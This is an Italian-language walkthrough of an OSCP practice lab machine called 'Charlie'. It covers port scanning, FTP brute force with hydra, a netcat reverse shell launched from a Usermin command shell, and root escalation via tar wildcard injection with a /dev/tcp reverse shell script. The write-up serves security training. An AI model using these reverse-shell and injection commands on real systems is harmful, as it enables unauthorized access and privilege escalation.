Vai al contenuto

Charlie

Challenge 6 - Charlie

Target

  • name: charlie.oscp.exam
  • ip: 192.168.210.157

Inserisco 192.168.210.157 charlie.oscp.exam nel file /etc/hosts

Enumeration

  • Porte aperte:

    PORT SERVICE VERSION
    21/tcp ftp vsftpd 3.0.5
    22/tcp ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
    80/tcp http Apache httpd 2.4.52 ((Ubuntu))
    20000/tcp dnp MiniServ 1.820 (Webmin httpd)
    Bash
    ┌──(momphucker㉿kali-mbpro15)-[~/Desktop/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie]
    └─$ sudo nmap -sS -p- charlie.oscp.exam | tee nmap_ss.txt
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 14:18 CET
    Nmap scan report for charlie.oscp.exam (192.168.210.157)
    Host is up (0.060s latency).
    Not shown: 65531 closed tcp ports (reset)
    PORT      STATE SERVICE
    21/tcp    open  ftp
    22/tcp    open  ssh
    80/tcp    open  http
    20000/tcp open  dnp
    
    Nmap done: 1 IP address (1 host up) scanned in 62.47 seconds
    

    Screenshot:

    Monosnap Debian 12.x 64-bit_kali 2024-11-29 14-22-09.png

    Bash
    ┌──(momphucker㉿kali-mbpro15)-[~/Desktop/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie]
    └─$ sudo nmap -sV -p21,22,80,20000 charlie.oscp.exam | tee nmap_sv.txt
    [sudo] password for momphucker: 
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 15:24 CET
    Nmap scan report for charlie.oscp.exam (192.168.210.157)
    Host is up (0.059s latency).
    
    PORT      STATE SERVICE VERSION
    21/tcp    open  ftp     vsftpd 3.0.5
    22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
    80/tcp    open  http    Apache httpd 2.4.52 ((Ubuntu))
    20000/tcp open  http    MiniServ 1.820 (Webmin httpd)
    Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds
    

http

ftp

Accesso come utente anonimo a FTP:

Bash
┌──(momphucker㉿kali-mbpro15)-[~/Desktop/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie]
└─$ ftp charlie.oscp.exam
Connected to charlie.oscp.exam.
220 (vsFTPd 3.0.5)
Name (charlie.oscp.exam:momphucker): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -a
229 Entering Extended Passive Mode (|||10095|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        120          4096 Nov 02  2022 .
drwxr-xr-x    3 0        120          4096 Nov 02  2022 ..
drwxr-xr-x    2 114      120          4096 Nov 02  2022 backup
226 Directory send OK.

Monosnap Debian 12.x 64-bit_kali 2024-11-29 14-40-24.png

All'interno di ftp è presente una cartella backup con 45 files .pdf

Bash
ftp> cd backup
250 Directory successfully changed.
ftp> ls -a
229 Entering Extended Passive Mode (|||10094|)
150 Here comes the directory listing.
drwxr-xr-x    2 114      120          4096 Nov 02  2022 .
drwxr-xr-x    3 0        120          4096 Nov 02  2022 ..
-rw-r--r--    1 114      120        145831 Nov 02  2022 BROCHURE-TEMPLATE.pdf
-rw-r--r--    1 114      120        159765 Nov 02  2022 CALENDAR-TEMPLATE.pdf
-rw-r--r--    1 114      120        336971 Nov 02  2022 FUNCTION-TEMPLATE.pdf
-rw-r--r--    1 114      120        739052 Nov 02  2022 NEWSLETTER-TEMPLATE.pdf
-rw-r--r--    1 114      120        888653 Nov 02  2022 REPORT-TEMPLATE.pdf

I file sono scaricabili con ftp> get <file_name.pdf>

Files

All'interno dei file non è contenuto alcun dato utile, ma dall'analisi dei file con exiftool è possibile enumerare i seguenti possibili utenti:

  • Mark: $ exiftool NEWSLETTER-TEMPLATE.pdf
  • Cassie: $ exiftool FUNCTION-TEMPLATE.pdf
  • Robert: $ exiftool REPORT-TEMPLATE.pdf

Monosnap Debian 12.x 64-bit_kali 2024-11-29 14-58-41.png

Monosnap Debian 12.x 64-bit_kali 2024-11-29 14-56-12.png

Monosnap Debian 12.x 64-bit_kali 2024-11-29 14-56-45.png

Initial Access

FTP Brute Force

Ho creato due file files, users.txt e passwords.txt, entrambi contengono la lista degli utenti trovati, più admin e root

Lancio un attacco brute force con hydra su ftp:

Bash
┌──(momphucker㉿kali-mbpro15)-[~/Desktop/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie]
└─$ sudo hydra -L users.txt -P passwords.txt -t 50 192.168.210.157 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-29 16:20:43
[DATA] max 25 tasks per 1 server, overall 25 tasks, 25 login tries (l:5/p:5), ~1 try per task
[DATA] attacking ftp://192.168.210.157:21/
[21][ftp] host: 192.168.210.157   login: cassie   password: cassie
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-29 16:20:49

Monosnap Debian 12.x 64-bit_kali 2024-11-29 16-24-49.png

Vengono trovate le seguenti credenziali: - user: cassie - password: cassie

A questo punto scarico tutto il contenuto di ftp con il seguente comando:

Bash
┌──(momphucker㉿kali-mbpro15)-[~/…/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie/ftp]
└─$ wget -m ftp://cassie:cassie@charlie.oscp.exam  

Usermin - Web App

Con le stesse credenziali (cassie:cassie) si ha accesso alla webapp. All'interno della stessa, è presente la pagina Command Shell in Usermin --> Login --> Command Shell. Sembrerebbe essere possibile eseguire dei comandi.

Monosnap Debian 12.x 64-bit_kali 2024-11-29 17-07-32.png

Apro sulla mia macchina un listener in ascolto:

Bash
nc -nvlp 4444

Dalla command shella della webapp eseguo una reverse shell:

Bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.199 4444 >/tmp/f

A questo punto viene aperta una shell sulla macchina con il listener in ascolto:

Bash
┌──(momphucker㉿kali-mbpro15)-[~/…/Challenge_6_oscp_C/Charlie/ftp/charlie.oscp.exam]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.199] from (UNKNOWN) [192.168.210.157] 41822
bash: cannot set terminal process group (14702): Inappropriate ioctl for device
bash: no job control in this shell
cassie@oscp:~$ whoami
whoami
cassie

Monosnap Debian 12.x 64-bit_kali 2024-11-29 17-05-48.png

Da qui è possibile recuperare la flag dalla home di cassie:

Bash
cassie@oscp:~$ cat local.txt
cat local.txt
f604cc8d16edbd49f5e0c27f0d50aad8
cassie@oscp:~$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:58:32 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.210.157/24 brd 192.168.210.255 scope global ens160
       valid_lft forever preferred_lft forever
cassie@oscp:~$ 

Monosnap Debian 12.x 64-bit_kali 2024-11-29 17-04-53.png

Privilege Escalation

Dalla macchina attaccante carico il tool linpeas.sh aprendo sulla stessa un webserver sulla cartella dove riesede il tool:

Bash
python -m http.server 8080

Sulla macchina della vittima scarico il tool in questo modo:

Bash
wget http://192.168.45.199:8080/linpeas.sh

Assegno i permessi di esecuzione con chmod +x linpeas.she lo eseguo con ./linpeas.sh

Crontab

Linpeas, tra gli altri dati, mostra anche un file cron eseguito ogni 2 minuti:

Monosnap Debian 12.x 64-bit_kali 2024-11-29 19-11-51.png

Da una verifica dei log con tail -f /var/log/syslog si evince quanto segue:

Bash
cassie@oscp:/var/log$ tail -f sy
tail -f syslog
Nov 29 17:08:01 oscp CRON[99578]: (root) CMD (cd /opt/admin && tar -zxf /tmp/backup.tar.gz *)

Monosnap Debian 12.x 64-bit_kali 2024-11-29 19-14-57.png

Come anche spiegato in questo tutorial, l'uso di un carattere jolly * nel comando di estrazione significa che tar elaborerà tutti i file nella directory, il che può portare all'esecuzione involontaria del comando se sono presenti file specifici.

A questo punto mi porto sulla cartella /opt/admin:

Bash
cd /opt/admin

Creo due file che vengono riconosciuti come comandi speciali:

Bash
touch ./--checkpoint=1
touch ./--checkpoint-action=exec=sh\ shell.sh
  • --checkpoint=1: Questo file attiverà un checkpoint in tar
  • --checkpoint-action=exec=sh shell.sh: questo indica a tar di eseguire shell.sh una volta raggiunto il checkpoint.

A questo punto creo un file shell.sh che contiene il comando che che voglio eseguire con privilegi elevati (in questo caso, una reverse shell).

Bash
echo "bash -i >& /dev/tcp/192.168.45.199/4455 0>&1" > shell.sh

Fornisco al file i permessi di esecuzione:

Bash
chmod +x shell.sh

E infine apro un listener sulla porta 4455 sulla macchina attacante

Bash
$ nc -nvlp 4455

Ora non bisogna che aspettare due minuti, in modo che il cron malevolo venga eseguito.

Infatti:

Monosnap Debian 12.x 64-bit_kali 2024-11-29 19-24-36.png

Infine catturo la flag:

Monosnap Debian 12.x 64-bit_kali 2024-11-29 19-25-14.png